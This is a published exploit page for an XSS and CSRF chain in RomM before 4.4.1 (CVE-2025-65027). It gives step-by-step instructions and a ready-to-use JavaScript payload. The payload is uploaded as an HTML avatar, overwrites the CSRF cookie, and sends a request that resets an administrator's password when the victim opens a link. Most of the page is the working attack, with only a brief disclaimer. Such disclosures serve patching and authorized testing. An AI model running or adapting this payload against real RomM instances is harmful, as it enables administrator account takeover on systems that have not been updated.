Skip to main content

RomM 4.4.0 – XSS_CSRF Chain

Categories: WebApps

RomM 4.4.0 – XSS_CSRF Chain

Proof of Concept (PoC)

request.http
# Exploit Title: RomM < 4.4.1 -  XSS_CSRF Chain
# Date: 2025-12-03
# Exploit Author: He4am (https://github.com/mHe4am)
# Vendor Homepage: https://romm.app/
# Software Link: https://github.com/rommapp/romm (Docker: https://hub.docker.com/r/rommapp/romm)
# Version: < 4.4.1
# Tested on: Linux
# CVE: CVE-2025-65027

# -------------------

# Vulnerability: Chaining unrestricted file upload (XSS) + CSRF token reuse to bypass SameSite protection
# Impact: Admin account takeover

# Prerequisites:
# 1. Attacker needs an authenticated account (Viewer role is sufficient)
# 2. Victim must visit the uploaded malicious HTML file via a direct link

# Steps to reproduce:
# 1. Login to RomM
# 2. Obtain your CSRF token:
#    - Open browser DevTools > Application tab (or Storage on Firefox) > Cookies
#    - Copy the `romm_csrftoken` cookie value
# 3. Replace <ATTACKER_CSRF_TOKEN> below with your token
# 4. Replace <TARGET_ROMM_URL> with the target RomM instance URL (e.g., http://romm.local)
# 5. Save this file as `avatar.html`
# 6. Upload it as your profile avatar (http://romm.local/user/me) and click the Apply button
# 7. Locate the uploaded file's direct link:
#    - DevTools > Network tab > Filter for `.html` files
#    - Or capture it via proxy (e.g., Burp Suite)
#    - It's usually something like: "http://romm.local/assets/romm/assets/users/<Random-ID>/profile/avatar.html"
# 8. Send this direct link of the uploaded avatar/file to the victim
# 9. When victim (e.g. admin) opens the link, their password will be changed to "Passw0rd"

# -------------------

# PoC Code:
<script>
const csrfToken = "<ATTACKER_CSRF_TOKEN>";		// CHANGE THIS - Your CSRF token from step 2
const targetURL = "<TARGET_ROMM_URL>";			// CHANGE THIS - Target RomM URL (e.g., http://romm.local)
const targetUserID = 1;							// Default admin ID is always 1, CHANGE THIS if needed
const newPassword = "Passw0rd";					// Password to set for victim

// Overwrite CSRF cookie to match our token
document.cookie = `romm_csrftoken=${csrfToken}; path=/`;

// Execute account takeover by forcing the victim to change their password
fetch(targetURL + "/api/users/" + targetUserID, {
  method: 'PUT',
  credentials: 'include',  // Send victim's session cookie
  headers: {
   'Content-Type': 'application/x-www-form-urlencoded',
   'x-csrftoken': csrfToken
  },
  body: "password=" + newPassword
})
.then(() => {
  console.log("Password changed successfully");
})
.catch(err => {
  console.error("Attack failed:", err);
});
</script>

# -------------------

# See full writeup for technical details: https://he4am.medium.com/bypassing-samesite-protection-chaining-xss-and-csrf-for-admin-ato-in-romm-44d910c54403

Security Disclaimer

This exploit is provided for educational and authorized security testing purposes only. Unauthorized access to computer systems is illegal and may result in severe legal consequences. Always ensure you have explicit permission before testing vulnerabilities.

sh3llz@loading:~$
Loading security modules...